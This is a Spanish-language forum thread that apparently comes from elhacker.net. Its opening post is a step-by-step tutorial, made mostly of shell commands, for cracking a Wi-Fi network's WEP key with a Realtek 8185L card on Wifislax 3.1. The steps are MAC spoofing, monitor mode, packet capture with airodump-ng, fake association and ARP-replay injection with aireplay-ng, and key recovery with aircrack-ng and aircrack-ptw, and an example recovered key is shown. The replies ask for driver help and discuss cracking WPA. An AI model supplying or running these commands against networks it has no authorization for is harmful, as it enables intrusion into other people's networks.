Foro de elhacker.net

Pues De tanto investigar y Dar vueltas por los mismos foros, Si se puede no se pudo, Que la señora de las tortas! Bueno pude Inyectar y Asociarme con Wifislax 3.1, Un ligero copy paste de algunos tutoriales mas algo de mis resultados   ;).

Primero que nada el Driver, descargue los mas nuevos de el 2009 pero la vdd no me funcionaron asi que encontre este.

1.- Driver Realtek 8185L  -  Rtl 8185L


2.- UNA VEZ REALIZADA LA DESCARGA PROCEDEMOS A DESCOMPRIMIR Y COMPILAR
#tar -zxvf rtl8185_linux_26[1].1027.0823.2007.tar.gz
#cd rtl8185_linux_26.1027.0823.2007
#./makedrv
#./wlan0up

3.- AHORA PROBAMOS QUE REALMENTE YA ESTA LA TARJETA, SI ES EL CASO LO PONEMOS EN MODO MONITOR
#iwconfig
#ifconfig wlan0 down
#ifconfig wlan0 hw ether 11:22:33:44:55:66  *****
#modprobe -r ath_pci
#modprobe ath_pci autocreate=monitor
#iwconfig wlan0 mode monitor
#iwconfig

4.- LO LEVANTAMOS
#ifconfig wlan0 up

5.- VAMOS A IDENTIFICAR NUESTRO RUTEADOR
#airodump-ng wlan0
Anotamos los datos mínimos necesarios tales como el ESSID,BSSID y MAC.
Ahora nos ubicamos adecuadamente en nuestro caso en rate 1 y canal 6
#iwconfig wlan0 rate 1M channel 6

6.- INICIAMOS AIRMON Y VERIFICAMOS QUE YA TENEMOS NUESTRA INTERFACE EN MODO MONITOR
#airmon-ng start wlan0 "6"

En airmon repetimos el canal.

Vemos que nos da el siguiente resultado

Interface Chipset Driver



7.- EMPEZAMOS A CAPTURAR TRAFICO CON AIRODUMP
#airodump-ng -w pas6 -c 6 wlan0
Seleccionamos el SSID (INFINITUMXXXX) y la direccion MAC(XX:XX:XX:XX:XX:XX) para verificar la seguridad de nuestro ruteador
Dejamos abierta la ventana y en ejecucion airodump

8.- CREAMOS UNA ASOCIACION AP CON AIREPLAY-NG
Abrimos un nuevo shell y tecleamos lo siguiente:
#aireplay-ng -1 0 -e INFINITUMXXXX -a XX:XX.XX:XX:XX.XX -h 11:22:33:44:55:66 wlan0
En este punto vamos a intentarlo repetidamente hasta que obtengamos el mensaje:
Association successful :-)

o Usamos

#aireplay-ng -1 30 -e INFINITUMXXXX -a XX:XX:XX:XX:XX:XX -h  11:22:33:44:55:66 wlan0
hasta que obtengamos el mensaje:
Association successful :-)

--- Si les funciona a la primera exelente pero si no asocia pueden ponerlo entre comillas

#aireplay-ng -1 30 -e "INFINITUMXXX" -a "XX:XX:XX:XX:XX:XX" -h  "11:22:33:44:55:66" wlan0

9.- AHORA INYECTAMOS TRAFICO CON AIREPLAY
#aireplay-ng -3 -b XX:XX.XX:XX:XX.XX -h 11:22:33:44:55:66 wlan0
Vemos que se empiezan a enviar y recibir paquetes
Y si checamos la ventana donde esta trabajando airodump se ve que se empiezan a generar los IV's o Data, aqui esperamos hasta llegar unos 160,000 aproximandamente

10.- VAMOS A SACAR LA CLAVE CON AIRCRACK
Revisamos que este el archivo .cap en la ruta actual
#aircrack-ng pas6-01.cap    (El mio se guardo en /Root/)
Seleccionamos el router : 1
INFINITUMXXXX
Y en unos instantes obtenemos el key:
KEY FOUND [34:67:34:65:75]  >:( >:(

11.- INTRODUCIMOS LA CLAVE A NUESTRA TARJETA
Reiniciamos la PC, (porque despues aunque cambiemos el modo a managed no se conecta), volvemos a cargar los drivers (paso2)
Lo levantamos por si acaso
#ifconfi wlan0 up

y checamos con:
#iwconfig wlan0

Nos conectamos con nuestra clave (NO LA DEL VECINO) desde
1) wifislax-asistencia herramientas-wireless
wifislax wireles

Introducimos
la interface: wlan0
el ssid:INFINITUMXXXX
el canal:6
la clave:3467346575

2) wifislax-asistencia herramientas-wireless
asistencia redes
dhcp

#ifconfig wlan0
12.- POR ULTIMO VERIFICAMOS CON PING Y A NAVEGAR EN INTERNET
#ping www.google.com.mx


******* Aprendi por las malas que Modprobe hw Ether es para crear un MAC Falso y poder asociar. Bueno eso entendi yo ya que estuve leyendo y aprendiendo.

Si les sirve como me sirvio a mi y gracias a todos aquellos que postearon como y a los que no pudieron pues aqui esta una solucion. Gracias por la atencion.

Pd. Muchas gracias a --bl455--, ChimoC y Hwagm, Por sus Guias sin uds me hubiera desanimado gracias a uds, que aprendi a usar Wifislax desde 0 aun asi me falta mucho que aprender.

-------------

Tengo una tarjeta LinkSys Wmp300n. Eh leido en el foro Que es Broadcom y Pues los links de los drivers estan muertos.

podrias poner la fuente del archivo

un saludo!!

Pues el Source Code alli esta.

Tambien pueden utilizar el paso con 10 Con

Aircrack-ptw  --- Ejemplo

#aircrack-ptw pas6-01.cap    (El mio se guardo en /Root/)
Seleccionamos el router : 1
INFINITUMXXXX
Y en unos instantes obtenemos el key:
KEY FOUND [34:67:34:65:75]

hola soy nuevo en el foro, necesito su ayuda para aprender a compilar el driver
rtl8185L para wifislax 3.1 en modo live usb, me puedes explicar el procedimiento.

he descargado el archivo, lo descomprimo y en que carpeta lo guardo del wifislax,
tengo que reemplazar algun archivo, como lo hice al hacer el live usb desde win2 xp
antes de realizar el paso 2 desde una shell, del wifislax.
o cual es el procedimiento correcto, por favor.

disculpa es que soy un dummie en los sistemas linux, iluminame

j0der lo que me costado encontrar el .gz de realtek
gracias de verdad ya estaba desesperandome

Uy un pokitin tarde disculpa, Pues Sigue tal y como dice la configuracion lo hice para que fuera paso a paso asi de facil :D

Octon11 debo decir que tu tutorial es el mejor que he encontrado en la red, y que me ha permitido sacar claves WEP con rtl8185.

Lo que no he podido, por mas que lo intente una y otra vez y habiendome leido tutoriales y tutoriales, es sacar claves WPA.

Si tienes la solucion o te animas a subir un tutorial para rtl8185, pues bienvenido sea.

Saludos Master!

La verdad muy buen tuto, pero no puedo llegar a la parte donde despues del aireplay me da Association successful :-)
Que puede ser???

No es por Desilucionarte pero creo que "son pocos" los que han logrado una inyeccion tipo wpa - tsk casi siempre es por diccionario, yo de mi parte no eh podido, eh tambien leido y leido sin llegar a un resultado creo que es de los temas mas seguidos hubo personas que si lo lograron mediante un error en la codificación, pero no se mas al respecto.  


En muchas ocasiones suele  pasar porque se nos olvida configurar:


o tal vez por que el router esta muy lejos de el alcance de tu tarjeta wifi, Casi siempre es mejor hacerlo de noche asi no tienes tanta interferencia.

Mucha suerte y espero les sirva la información.

pd. Voy a ver si no tiene conflictos con airoway o Airoscripts para que todo lo hagan automatico.

pd2. Podrias Probar el ataque tipo Wpa con este tutorial y ver si te funciona yo lo voy a probar tambien,
 http://foro.elhacker.net/wireless_en_linux/manual_wifislax_wifiway_avanzado_wep_y_wpa_rockeropasiempre_heavyloto_y_zydas-t261907.0.html 

- Agradecimientos Por el tuto wpa a RockeroPa'Siempre  ::)